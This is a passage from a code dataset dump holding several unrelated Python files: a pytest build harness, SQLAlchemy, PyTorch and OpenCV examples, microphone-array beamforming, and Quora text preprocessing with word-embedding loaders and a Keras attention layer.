print(ReadExcel().get_xls('userCase.xlsx', 'login')[0][1])","sub_path":"MyFrame_API/common/my_readExcel.py","file_name":"my_readExcel.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"491812999","text":"# See LICENSE for details\n\nimport os\nimport sys\nimport pluggy\nimport shutil\nimport yaml\nimport random\nimport re\nimport datetime\nimport pytest\nimport filecmp\nimport glob\n\nfrom river_core.log import logger\nfrom river_core.utils import *\n\n\ndef compile_cmd_list(make_file, work_dir, key_list):\n\n run_commands = []\n\n # Hmm here the key_list becomes a string need to do some magic to get into proper list\n # RE Magic here\n replacements = {\"[\": \"\", \"]\": \"\", \"'\": \"\", \" \": \"\"}\n replacements = dict((re.escape(k), v) for k, v in replacements.items())\n pattern = re.compile(\"|\".join(replacements.keys()))\n str_key_list = pattern.sub(lambda m: replacements[re.escape(m.group(0))],\n key_list)\n key_list = str_key_list.split(\",\")\n\n for file_name in key_list:\n logger.debug(\n \"Creating Makefile command for {0} to build ASM files\".format(\n file_name))\n run_commands.append('make -f {0} {1}'.format(\n make_file, file_name))\n return run_commands\n\n\ndef idfnc(val):\n return val\n\n\ndef pytest_generate_tests(metafunc):\n\n if 'test_input' in metafunc.fixturenames:\n logger.debug('Generating commands from pytest_framework')\n test_list = compile_cmd_list(\n # metafunc.config.getoption(\"output_dir\"),\n metafunc.config.getoption(\"make_file\"),\n metafunc.config.getoption(\"work_dir\"),\n metafunc.config.getoption(\"key_list\"))\n metafunc.parametrize('test_input', test_list, ids=idfnc, indirect=True)\n\n\n@pytest.fixture\ndef test_input(request):\n # compile tests\n logger.debug('Generating commands from test_input fixture')\n program = request.param\n stage = program.split()[-1]\n (ret, out, err) = sys_command(program, timeout=5000)\n return ret, err, stage\n\ndef test_eval(test_input):\n assert test_input[\n 0] == 0, \"Tests failed because of {0} at {1} stage\".format(\n test_input[1], test_input[2])\n\n","sub_path":"dut_plugins/chromite_questa_plugin/gen_framework.py","file_name":"gen_framework.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"171742414","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom sqlalchemy import create_engine, Table, MetaData\nfrom sqlalchemy.sql import select\n\neng = create_engine(\"mysql+pymysql://root:123456@localhost/test0\")\n\n\ndef to_sql(stm):\n return ''.join(str(stm.compile(compile_kwargs={\"literal_binds\": True})).split('\\n'))\n\n\nwith eng.connect() as con:\n meta = MetaData(eng)\n cars = Table('Cars', meta, autoload=True)\n\n stm = select([cars.c.Name, cars.c.Price]).limit(3)\n print('----')\n print(to_sql(stm))\n print('----')\n rs = con.execute(stm)\n\n print(rs.fetchall())\n","sub_path":"sqlalchemy/exp_select_limit.py","file_name":"exp_select_limit.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"630759210","text":"\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport time\nimport IPython.display as display\nimport sys\nimport numpy as np\nimport torch.nn as nn\nimport collections\nimport torch.nn.init as init\n\n'''画图'''\ndef use_svg_display():\n '''用矢量图显示'''\n display.set_matplotlib_formats('svg')\n\n\ndef set_figsize(figsize=(3.5, 2.5)):\n '''设置图的尺寸'''\n # 用矢量图显示\n use_svg_display()\n # 设置尺寸\n plt.rcParams['figure.figsize'] = figsize\n\n\ndef semilogy(x_vals, y_vals, x_label, y_label, x2_vals=None, y2_vals=None, legend=None, figsize=(3.5, 2.5)):\n '''作图函数'''\n set_figsize(figsize)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n plt.semilogy(x_vals, y_vals)\n if x2_vals and y2_vals:\n plt.semilogy(x2_vals, y2_vals, linestyle=':')\n plt.legend(legend)\n plt.show()\n\n'''1.生成数据集'''\n# 训练集数量,测试集\nn_train, n_test, num_inputs = 20, 100, 200\n# 真实权重,偏置 \ntrue_w, true_b = torch.ones(num_inputs, 1) * 0.01, 0.05\n# 特征向量\nfeatures = torch.randn((n_train + n_test, num_inputs))\n# 标签\nlabels = torch.matmul(features, true_w) + true_b\n# 带噪声的标签\nlabels += torch.tensor(np.random.normal(0, 0.01, size=labels.size()), dtype=torch.float)\n# 训练集,测试集特征向量\ntrain_features, test_features = features[:n_train, :], features[n_train:, :]\n# 训练集,测试集标签\ntrain_labels, test_labels = labels[:n_train], labels[n_train:]\n\n'''2.定义损失函数(均方误差损失)'''\ndef squared_loss(y_hat, y):\n return (y_hat - y.view(y_hat.shape)) ** 2 / 2\n\n'''3.定义训练和测试'''\n# 批大小,训练轮数,学习率\nbatch_size, num_epochs, lr = 1, 100, 0.003\n# 数据集\ndataset = torch.utils.data.TensorDataset(train_features, train_labels)\n# 训练集迭代器\ntrain_iter = torch.utils.data.DataLoader(dataset, batch_size, shuffle=True)\n# 损失函数\nloss = squared_loss\n\ndef fit_and_plot_pytorch(wd):\n # 对权重参数衰减。权重名称一般是以weight结尾\n # 网络结构\n net = nn.Linear(num_inputs, 1)\n # 参数初始化\n nn.init.normal_(net.weight, mean=0, std=1)\n nn.init.normal_(net.bias, mean=0, std=1)\n # 权重参数优化算法(weight_decay权重衰减)\n optimizer_w = torch.optim.SGD(params=[net.weight], lr=lr, weight_decay=wd)\n # 偏置优化算法(不对偏置衰减)\n optimizer_b = torch.optim.SGD(params=[net.bias], lr=lr) \n\n # 训练集损失,测试集损失\n train_ls, test_ls = [], []\n for epoch in range(num_epochs):\n for X, y in train_iter:\n # bacth内的平均损失\n l = loss(net(X), y).mean()\n # 参数的梯度清零\n optimizer_w.zero_grad()\n optimizer_b.zero_grad()\n # 反向传播计算梯度\n l.backward()\n # 梯度下降更新参数对两个optimizer实例分别调用step函数,从而分别更新权重和偏差\n optimizer_w.step()\n optimizer_b.step()\n # 训练集平均损失\n train_ls.append(loss(net(train_features), train_labels).mean().item())\n # 测试集平均损失\n test_ls.append(loss(net(test_features), test_labels).mean().item())\n # 画图\n semilogy(range(1, num_epochs + 1), train_ls, 'epochs', 'loss',\n range(1, num_epochs + 1), test_ls, ['train', 'test'])\n print('L2 norm of w:', net.weight.data.norm().item())\n\n# 过拟合\nfit_and_plot_pytorch(0)\n# 权重衰减防止过拟合\nfit_and_plot_pytorch(3)","sub_path":"深度学习/动手学深度学习/3.深度学习基础/3.12_2.py","file_name":"3.12_2.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"588083201","text":"import numpy as np\nimport cv2\nimport imutils\n\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\n\ndef invert_img(img):\n img = (255-img)\n return img\n\ndef canny(imgray):\n imgray = cv2.GaussianBlur(imgray, (5,5), 200)\n canny_low = 5\n canny_high = 150\n\n thresh = cv2.Canny(imgray,canny_low,canny_high)\n return thresh\n\ndef filtering(imgray):\n thresh = canny(imgray)\n\n minLineLength = 1\n maxLineGap = 1\n\n\n lines = cv2.HoughLines(thresh,1,np.pi/180,0)\n #lines = cv2.HoughLinesP(thresh,2,np.pi/180,100,minLineLength,maxLineGap)\n # print lines.shape\n\n # Code for HoughLinesP\n '''\n for i in range(0,lines.shape[0]):\n for x1,y1,x2,y2 in lines[i]:\n cv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n '''\n\n # Code for HoughLines\n\n for i in range(0,5):\n for rho,theta in lines[i]:\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)\n\n\n return thresh\n\n\nimg = cv2.imread('screenshots/01.png')\n\n\nimgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nimg = imutils.resize(img, height = 500)\nimgray = imutils.resize(imgray, height = 500)\n\nthresh = filtering(imgray)\n\ncv2.imshow('original', img)\ncv2.imshow('result', thresh)\ncv2.waitKey(0)","sub_path":"experiments/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"165550622","text":"import numpy as np\nimport pyroomacoustics as pa\nimport wave\nimport scipy.signal as sp\nimport matplotlib.pyplot as plt\n\ndef calculate_steering_vector(mic_alignments,source_locations,freqs,sound_speed=340,is_use_far=False):\n #マイク数を取得\n n_channels=np.shape(mic_alignments)[1]\n\n #音源数を取得\n n_source=np.shape(source_locations)[1]\n\n if is_use_far==True:\n #音源位置を正規化\n norm_source_locations=source_locations/np.linalg.norm(source_locations,2,axis=0,keepdims=True)\n\n #位相を求める\n steering_phase=np.einsum('k,ism,ism->ksm',2.j*np.pi/sound_speed*freqs,norm_source_locations[...,None],mic_alignments[:,None,:])\n\n #ステアリングベクトルを算出\n steering_vector=1./np.sqrt(n_channels)*np.exp(steering_phase)\n\n return(steering_vector)\n\n else:\n\n #音源とマイクの距離を求める\n #distance: Ns x Nm\n distance=np.sqrt(np.sum(np.square(source_locations[...,None]-mic_alignments[:,None,:]),axis=0))\n\n #遅延時間(delay) [sec]\n delay=distance/sound_speed\n\n #ステアリングベクトルの位相を求める\n steering_phase=np.einsum('k,sm->ksm',-2.j*np.pi*freqs,delay)\n \n #音量の減衰\n steering_decay_ratio=1./distance\n\n #ステアリングベクトルを求める\n steering_vector=steering_decay_ratio[None,...]*np.exp(steering_phase)\n\n #大きさを1で正規化する\n steering_vector=steering_vector/np.linalg.norm(steering_vector,2,axis=2,keepdims=True)\n\n return(steering_vector)\n\ndef write_file_from_time_signal(signal,file_name,sample_rate):\n #2バイトのデータに変換\n signal=signal.astype(np.int16)\n\n #waveファイルに書き込む\n wave_out = wave.open(file_name, 'w')\n\n #モノラル:1、ステレオ:2\n wave_out.setnchannels(1)\n\n #サンプルサイズ2byte\n wave_out.setsampwidth(2)\n\n #サンプリング周波数\n wave_out.setframerate(sample_rate)\n\n #データを書き込み\n wave_out.writeframes(signal)\n\n #ファイルを閉じる\n wave_out.close()\n\n# np.random.seed(0)\n# # clean_wave_files = [\"../CMU_ARCTIC/cmu_us_aew_arctic/wav/arctic_a0001.wav\"]\n# clean_wave_files = [\"../CMU_ARCTIC/cmu_us_aew_arctic/wav/arctic_a0001.wav\", \"../CMU_ARCTIC/cmu_us_axb_arctic/wav/arctic_a0002.wav\"]\n# n_sources = len(clean_wave_files)\n# n_samples = 0\n# for clean_wave_file in clean_wave_files:\n# wav = wave.open(clean_wave_file)\n# if n_samples < wav.getnframes():\n# n_samples = wav.getnframes()\n# wav.close()\n# clean_data = np.zeros([n_sources, n_samples])\n# s = 0\n# for clean_wave_file in clean_wave_files:\n# wav = wave.open(clean_wave_file)\n# data = wav.readframes(wav.getnframes())\n# data = np.frombuffer(data, dtype=np.int16)\n# data = data / np.iinfo(np.int16).max\n# clean_data[s, :wav.getnframes()] = data\n# wav.close()\n# s = s + 1\n# sample_rate = 16000\n# N = 1024\n# Nk = N / 2 + 1\n# freqs = np.arange(0, Nk, 1) * sample_rate / N\n# # SNR = 20.\n# SNR = 90.\n# room_dim = np.r_[10.0, 10.0, 10.0]\n# mic_array_loc = room_dim / 2 + np.random.randn(3) * 0.1\n# # mic_alignments = np.array(\n# # [[-0.01, 0.0, 0.0],\n# # [ 0.01, 0.0, 0.0]]\n# # )\n# mic_alignments = np.array(\n# [[x, 0.0, 0.0] for x in np.arange(-0.31, 0.32, 0.02)]\n# )\n# n_channels = np.shape(mic_alignments)[0]\n# R = mic_alignments.T + mic_array_loc[:, None]\n# room = pa.ShoeBox(room_dim, fs=sample_rate, max_order=0)\n# room.add_microphone_array(pa.MicrophoneArray(R, fs=room.fs))\n# # doas = np.array([[np.pi / 2., 0.]])\n# doas = np.array([[np.pi / 2., 0.],\n# [np.pi / 2., np.pi / 2.]])\n# distance = 1.\n# source_locations = np.zeros((3, doas.shape[0]), dtype=doas.dtype)\n# source_locations[0, :] = np.cos(doas[:, 1]) * np.sin(doas[:, 0])\n# source_locations[1, :] = np.sin(doas[:, 1]) * np.sin(doas[:, 0])\n# source_locations[2, :] = np.cos(doas[:, 0])\n# source_locations *= distance\n# source_locations += mic_array_loc[:, None]\n# print(np.shape(clean_data))\n# for s in range(n_sources):\n# clean_data[s] /= np.std(clean_data[s])\n# room.add_source(source_locations[:, s], signal=clean_data[s])\n# room.simulate(snr=SNR)\n# multi_conv_data = room.mic_array.signals\n# write_file_from_time_signal(multi_conv_data[0] * np.iinfo(np.int16).max / 20.,\n# \"./results/mix_in_2spk.wav\", sample_rate)\n# # near_steering_vectors = calculate_steering_vector(R, source_locations, freqs, is_use_far=False)\n# near_steering_vectors = calculate_steering_vector(R, source_locations[:,:1], freqs, is_use_far=False)\n# f, t, stft_data = sp.stft(multi_conv_data, fs=sample_rate, window=\"hann\", nperseg=N)\n# s_hat = np.einsum(\"ksm,mkt->skt\", np.conjugate(near_steering_vectors), stft_data)\n# c_hat = np.einsum(\"skt,ksm->mskt\", s_hat, near_steering_vectors)\n# t, ds_out = sp.istft(c_hat[0], fs=sample_rate, window=\"hann\", nperseg=N)\n# ds_out = ds_out * np.iinfo(np.int16).max / 20.\n# write_file_from_time_signal(ds_out, \"./results/ds_out_2spk.wav\", sample_rate)\n\nsample_rate = 16000\nN = 1024\nNk = N / 2 + 1\nfreqs = np.arange(0, Nk, 1) * sample_rate / N\n# mic_alignments = np.array([[x, 0.0, 0.0] for x in np.arange(-0.01, 0.02, 0.02)])\nmic_alignments = np.array([[x, 0.0, 0.0] for x in np.arange(-0.31, 0.32, 0.02)])\nn_channels = np.shape(mic_alignments)[0]\ndoas = np.array([[np.pi / 2., theta] for theta in np.arange(-np.pi, np.pi, 1. / 180. * np.pi)])\ndistance = 1.\nsource_locations = np.zeros((3, doas.shape[0]), dtype=doas.dtype)\nsource_locations[0, :] = np.cos(doas[:, 1]) * np.sin(doas[:, 0])\nsource_locations[1, :] = np.sin(doas[:, 1]) * np.sin(doas[:, 0])\nsource_locations[2, :] = np.cos(doas[:, 0])\nsource_locations *= distance\nnear_steering_vectors = calculate_steering_vector(mic_alignments.T, source_locations, freqs, is_use_far=False)\ndesired_index = np.argmin(np.abs(doas[:,1]), axis=0)\ndesired_steering_vector = near_steering_vectors[:, desired_index, :]\ndirectivity_pattern = np.square(np.abs(np.einsum(\"km,ksm->ks\", np.conjugate(desired_steering_vector), near_steering_vectors)))\nplt.style.use(\"grayscale\")\nfig = plt.figure(figsize=(7,7))\nax = plt.subplot(111, projection=\"polar\")\nax.set_theta_zero_location('N')\nax.set_theta_direction(\"clockwise\")\nax.grid(True, linestyle=\"--\")\nax.yaxis.labelpad = -250\nylabel = plt.ylabel(\"Responce [dB]\")\nylabel.set_position((0, 0.6))\nylabel.set_rotation(0)\nplt.yticks([-20, -10, 0])\nplt.ylim([-30, 0])\nplt.xlabel(\"Azimuth [degrees]\")\ndraw_freqs = np.array([1000, 2000, 3000, 4000])\ndraw_freq_list = np.argmin(np.abs(freqs[:, None] - draw_freqs[None, :]), axis=0)\nfor draw_freq_index in draw_freq_list:\n plt.plot(doas[:,1], 10. * np.log10(directivity_pattern[draw_freq_index, :]), lw=3, label=f\"{freqs[draw_freq_index]} [Hz]\")\nplt.legend(loc=(0.2, 0.6))\nplt.show()","sub_path":"section6/subsec4.py","file_name":"subsec4.py","file_ext":"py","file_size_in_byte":6835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"189321674","text":"from MountainRed.dbsm import DataBasesWriter, logger\n\n\nclass Writer(DataBasesWriter):\n\n def is_options_legal(self) -> bool:\n \"\"\"\n sqlite 必须的字段有:\n engine, name\n \"\"\"\n KEYS = {\"ENGINE\", \"NAME\"}\n keys = self.options.keys()\n diff = KEYS.difference(set(keys))\n if diff:\n logger.warn(\"%s 下缺少关键配置! %s\" % (self.name, str(diff)))\n return False\n else:\n diff = set(keys).difference(KEYS)\n if diff:\n logger.warn(\"%s 下发现无效的多余参数! %s\" % (self.name, str(diff)))\n return True\n","sub_path":"MountainRed/dbsm/writers/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"633394877","text":"# > INITIALIZATION\n\nimport re\nimport gc\nimport numpy as np\nimport pandas as pd\nimport pickle\n\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import train_test_split\nfrom pandas import read_csv\nfrom gensim.models import KeyedVectors\n\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Dense, Input, CuDNNLSTM, Embedding, Dropout, Activation, CuDNNGRU, Conv1D\nfrom keras.layers import Bidirectional, GlobalMaxPool1D, GlobalMaxPooling1D, GlobalAveragePooling1D\nfrom keras.layers import Input, Embedding, Dense, Conv2D, MaxPool2D, concatenate\nfrom keras.layers import Reshape, Flatten, Concatenate, Dropout, SpatialDropout1D\nfrom keras.optimizers import Adam\nfrom keras.models import Model\nfrom keras import backend as K\nfrom keras.engine.topology import Layer\nfrom keras import initializers, regularizers, constraints, optimizers, layers\n\n# >> constant values to change\n\nMAX_FEATURES = 50000\nMAX_SENTENCE_LEN = 150\n\n# >> imports\n\n\n# >> constant values NOT to change\n\nEMBEDDING_FILE_GLOVE = '../input/embeddings/glove.840B.300d/glove.840B.300d.txt'\nEMBEDDING_FILE_GOOGLE = '../input/embeddings/GoogleNews-vectors-negative300/GoogleNews-vectors-negative300.bin'\nEMBEDDING_FILE_PARAGRAM = '../input/embeddings/paragram_300_sl999/paragram_300_sl999.txt'\nEMBEDDING_FILE_WIKI = '../input/embeddings/wiki-news-300d-1M/wiki-news-300d-1M.vec'\nTOKEN_FILTERS = '!\"#$%&()*+,-./:;<=>?@[\\]^_`{|}~'\nEMBED_SIZE = 300\n\nMISSPELLED_WORDS = {'colour': 'color',\n 'centre': 'center',\n 'favourite': 'favorite',\n 'travelling': 'traveling',\n 'counselling': 'counseling',\n 'theatre': 'theater',\n 'cancelled': 'canceled',\n 'labour': 'labor',\n 'organisation': 'organization',\n 'wwii': 'world war 2',\n 'citicise': 'criticize',\n 'youtu': 'youtube',\n 'youtubebe': 'youtube',\n 'Qoura': 'Quora',\n 'sallary': 'salary',\n 'Whta': 'What',\n 'narcisist': 'narcissist',\n 'howdo': 'how do',\n 'whatare': 'what are',\n 'howcan': 'how can',\n 'howmuch': 'how much',\n 'howmany': 'how many',\n 'whydo': 'why do',\n 'doI': 'do I',\n 'theBest': 'the best',\n 'howdoes': 'how does',\n 'mastrubation': 'masturbation',\n 'mastrubate': 'masturbate',\n \"mastrubating\": 'masturbating',\n 'pennis': 'penis',\n 'Etherium': 'Ethereum',\n 'narcissit': 'narcissist',\n 'bigdata': 'big data',\n '2k17': '2017', '2k18': '2018',\n 'qouta': 'quota',\n 'exboyfriend': 'ex boyfriend',\n 'airhostess': 'air hostess',\n \"whst\": 'what',\n 'watsapp': 'whatsapp',\n 'demonitisation': 'demonetization',\n 'demonitization': 'demonetization',\n 'Demonetization': 'demonetization',\n 'demonetisation': 'demonetization',\n 'Quorans': 'users',\n 'quorans': 'users',\n 'Pokémon': 'Pokemon',\n 'pokémon': 'pokemon'}\n\nPUNCT = \"/-'?!.,#$%\\'()*+-/:;<=>@[\\\\]^_`{|}~\" + '\"\"“”’' + '∞θ÷α•à−β∅³π‘₹´°£€\\×™√²—–&'\nPUNCT_MAPPING = {\"‘\": \"'\", \"₹\": \"e\", \"´\": \"'\", \"°\": \"\",\n \"€\": \"e\", \"™\": \"tm\", \"√\": \" sqrt \",\n \"×\": \"x\", \"²\": \"2\", \"—\": \"-\", \"–\": \"-\",\n \"’\": \"'\", \"_\": \"-\", \"`\": \"'\", '“': '\"',\n '”': '\"', '“': '\"', \"£\": \"e\", '∞': 'infinity',\n 'θ': 'theta', '÷': '/',\n 'α': 'alpha', '•': '.', 'à': 'a',\n '−': '-', 'β': 'beta', '∅': '', '³': '3', 'π': 'pi'}\n\n\n# >> FUNCTION DEFINITION\n\ndef clean_numbers(sentence):\n return (re.sub(r\"\\d{2,}(\\.[0-9]+)*\",\n lambda x: len(x.group()) * \"#\",\n sentence))\n\n\ndef correct_spelling(text, dic):\n for word in dic.keys():\n text = text.replace(word, dic[word])\n\n return text\n\n\ndef clean_special_chars(text, punct, mapping):\n for p in mapping:\n text = text.replace(p, mapping[p])\n\n for p in punct:\n text = text.replace(p, f' {p} ')\n\n specials = {'\\u200b': ' ', '…': ' ... ',\n '\\ufeff': '', 'करना': '', 'है': ''}\n for s in specials:\n text = text.replace(s, specials[s])\n\n return text\n\n\ndef clean_corpus(corpus, to_lower=True):\n corpus = [correct_spelling(sentence, MISSPELLED_WORDS) for sentence in corpus]\n\n corpus = [clean_special_chars(sentence, PUNCT, PUNCT_MAPPING) for sentence in corpus]\n\n corpus = [clean_numbers(sentence) for sentence in corpus]\n\n if (to_lower):\n corpus = [sentence.lower() for sentence in corpus]\n\n return (corpus)\n\n\ndef fit_tokenizer(corpus, max_features=None, add_filters=None):\n # set tokenizer filters\n filtersForTokenizer = TOKEN_FILTERS\n if add_filters is not None:\n filtersForTokenizer = filtersForTokenizer + add_filters\n\n # tokenize the sentences\n if max_features is not None:\n tokenizer = Tokenizer(num_words=max_features,\n filters=filtersForTokenizer)\n else:\n tokenizer = Tokenizer(filters=filtersForTokenizer)\n\n tokenizer.fit_on_texts(corpus)\n\n return (tokenizer)\n\n\ndef create_word_matrix(tokenizer, corpus, maxlen):\n tokenizedCorpus = pad_sequences(tokenizer.texts_to_sequences(corpus),\n maxlen=maxlen)\n return (tokenizedCorpus)\n\n\ndef load_glove(tokenizer, embedding_file):\n # load whole embedding file\n\n def get_coefs(word, *arr):\n return word, np.asarray(arr, dtype='float32')\n\n embeddingsIndex = dict(get_coefs(*o.split(\" \")) for o in open(embedding_file))\n\n wholeEmbedding = np.stack(list(embeddingsIndex.values()))\n embeddingMean, embeddingStd = wholeEmbedding.mean(), wholeEmbedding.std()\n embeddingSize = wholeEmbedding.shape[1]\n\n # create embedding matrix where oov words are\n # initialized to a random normal vector\n\n wordIndex = tokenizer.word_index\n numberOfWords = min(tokenizer.num_words, len(wordIndex))\n embeddingMatrix = np.random.normal(embeddingMean, embeddingStd,\n (numberOfWords, embeddingSize))\n for word, i in wordIndex.items():\n if i >= numberOfWords: continue\n embeddingVector = embeddingsIndex.get(word)\n if embeddingVector is not None:\n embeddingMatrix[i] = embeddingVector\n\n # finally get out-of-vocabulary words\n\n oov = {word: n for word, n in tokenizer.word_counts.items() if word not in embeddingsIndex.keys()}\n\n oovPercentSingleWord = len(oov) / len(wordIndex)\n oovPercentAll = sum(oov.values()) / sum(tokenizer.word_counts.values())\n\n oovToPrint = pd.DataFrame(sorted(oov.items(), key=lambda kv: kv[1],\n reverse=True)[0:14],\n columns=['Word', 'N'])\n\n printTemplate = \"\"\"\n \n GLOVE - Percentage of words not in embedding: {0:.2%} ({2:.2%} of vocabulary).\n {1}\n \n Shape of final embedding matrix: {3}\n \"\"\"\n print(printTemplate.format(oovPercentAll, oovToPrint,\n oovPercentSingleWord, embeddingMatrix.shape))\n\n return embeddingMatrix\n\n\ndef load_wiki(tokenizer, embedding_file):\n # load whole embedding file\n\n def get_coefs(word, *arr):\n return word, np.asarray(arr, dtype='float32')\n\n embeddingsIndex = dict(get_coefs(*o.split(\" \")) for o in open(embedding_file, encoding='latin')\n if len(o) > 100)\n\n wholeEmbedding = np.stack(list(embeddingsIndex.values()))\n embeddingMean, embeddingStd = wholeEmbedding.mean(), wholeEmbedding.std()\n embeddingSize = wholeEmbedding.shape[1]\n\n # create embedding matrix where oov words are\n # initialized to a random normal vector\n\n wordIndex = tokenizer.word_index\n numberOfWords = min(tokenizer.num_words, len(wordIndex))\n embeddingMatrix = np.random.normal(embeddingMean, embeddingStd,\n (numberOfWords, embeddingSize))\n\n for word, i in wordIndex.items():\n if i >= numberOfWords: continue\n embeddingVector = embeddingsIndex.get(word)\n if embeddingVector is not None:\n embeddingMatrix[i] = embeddingVector\n\n # finally get out-of-vocabulary words\n\n oov = {word: n for word, n in tokenizer.word_counts.items() if word not in embeddingsIndex.keys()}\n\n oovPercentSingleWord = len(oov) / len(wordIndex)\n oovPercentAll = sum(oov.values()) / sum(tokenizer.word_counts.values())\n\n oovToPrint = pd.DataFrame(sorted(oov.items(), key=lambda kv: kv[1],\n reverse=True)[0:14],\n columns=['Word', 'N'])\n\n printTemplate = \"\"\"\n \n WIKI - Percentage of words not in embedding: {0:.2%} ({2:.2%} of vocabulary).\n {1}\n \n Shape of final embedding matrix: {3}\n \"\"\"\n print(printTemplate.format(oovPercentAll, oovToPrint,\n oovPercentSingleWord, embeddingMatrix.shape))\n\n return embeddingMatrix\n\n\ndef load_paragram(tokenizer, embedding_file):\n # load whole embedding file\n\n def get_coefs(word, *arr):\n return word, np.asarray(arr, dtype='float32')\n\n embeddingsIndex = dict(get_coefs(*o.split(\" \")) for o in open(embedding_file, encoding='latin'))\n\n wholeEmbedding = np.stack(list(embeddingsIndex.values()))\n embeddingMean, embeddingStd = wholeEmbedding.mean(), wholeEmbedding.std()\n embeddingSize = wholeEmbedding.shape[1]\n\n # create embedding matrix where oov words are\n # initialized to a random normal vector\n\n wordIndex = tokenizer.word_index\n numberOfWords = min(tokenizer.num_words, len(wordIndex))\n embeddingMatrix = np.random.normal(embeddingMean, embeddingStd,\n (numberOfWords, embeddingSize))\n for word, i in wordIndex.items():\n if i >= numberOfWords: continue\n embeddingVector = embeddingsIndex.get(word)\n if embeddingVector is not None:\n embeddingMatrix[i] = embeddingVector\n\n # finally get out-of-vocabulary words\n\n oov = {word: n for word, n in tokenizer.word_counts.items() if word not in embeddingsIndex.keys()}\n\n oovPercentSingleWord = len(oov) / len(wordIndex)\n oovPercentAll = sum(oov.values()) / sum(tokenizer.word_counts.values())\n\n oovToPrint = pd.DataFrame(sorted(oov.items(), key=lambda kv: kv[1],\n reverse=True)[0:14],\n columns=['Word', 'N'])\n\n printTemplate = \"\"\"\n \n PARAGRAM - Percentage of words not in embedding: {0:.2%} ({2:.2%} of vocabulary).\n {1}\n \n Shape of final embedding matrix: {3}\n \"\"\"\n print(printTemplate.format(oovPercentAll, oovToPrint,\n oovPercentSingleWord, embeddingMatrix.shape))\n\n return embeddingMatrix\n\n\ndef load_google(tokenizer, embedding_file):\n # load whole embedding file\n\n embeddingsKVector = KeyedVectors.load_word2vec_format(embedding_file, binary=True)\n\n wholeEmbedding = embeddingsKVector.vectors\n embeddingMean, embeddingStd = wholeEmbedding.mean(), wholeEmbedding.std()\n embeddingSize = wholeEmbedding.shape[1]\n wholeEmbedding = None\n\n # create embedding matrix where oov words are\n # initialized to a random normal vector\n\n wordIndex = tokenizer.word_index\n numberOfWords = min(tokenizer.num_words, len(wordIndex))\n embeddingMatrix = np.random.normal(embeddingMean, embeddingStd,\n (numberOfWords, embeddingSize))\n embeddingWords = embeddingsKVector.vocab.keys()\n\n for word, i in wordIndex.items():\n if i >= numberOfWords: continue\n if word in embeddingWords:\n embeddingVector = embeddingsKVector.get_vector(word)\n else:\n embeddinVector = None\n if embeddingVector is not None:\n embeddingMatrix[i] = embeddingVector\n\n # finally get out-of-vocabulary words\n\n oov = {word: n for word, n in tokenizer.word_counts.items() if word not in embeddingWords}\n\n oovPercentSingleWord = len(oov) / len(wordIndex)\n oovPercentAll = sum(oov.values()) / sum(tokenizer.word_counts.values())\n\n oovToPrint = pd.DataFrame(sorted(oov.items(), key=lambda kv: kv[1],\n reverse=True)[0:14],\n columns=['Word', 'N'])\n\n printTemplate = \"\"\"\n \n GOOGLE - Percentage of words not in embedding: {0:.2%} ({2:.2%} of vocabulary).\n {1}\n \n Shape of final embedding matrix: {3}\n \"\"\"\n print(printTemplate.format(oovPercentAll, oovToPrint,\n oovPercentSingleWord, embeddingMatrix.shape))\n\n # clean RAM memory, just in case\n embeddingsKVector = None\n\n return embeddingMatrix\n\n\n# borrowed from:\n# https://www.kaggle.com/suicaokhoailang/lstm-attention-baseline-0-652-lb\nclass Attention(Layer):\n def __init__(self, step_dim,\n W_regularizer=None, b_regularizer=None,\n W_constraint=None, b_constraint=None,\n bias=True, **kwargs):\n self.supports_masking = True\n self.init = initializers.get('glorot_uniform')\n\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n\n self.bias = bias\n self.step_dim = step_dim\n self.features_dim = 0\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n\n self.W = self.add_weight((input_shape[-1],),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n self.features_dim = input_shape[-1]\n\n if self.bias:\n self.b = self.add_weight((input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n else:\n self.b = None\n\n self.built = True\n\n def compute_mask(self, input, input_mask=None):\n return None\n\n def call(self, x, mask=None):\n features_dim = self.features_dim\n step_dim = self.step_dim\n\n eij = K.reshape(K.dot(K.reshape(x, (-1, features_dim)),\n K.reshape(self.W, (features_dim, 1))), (-1, step_dim))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n if mask is not None:\n 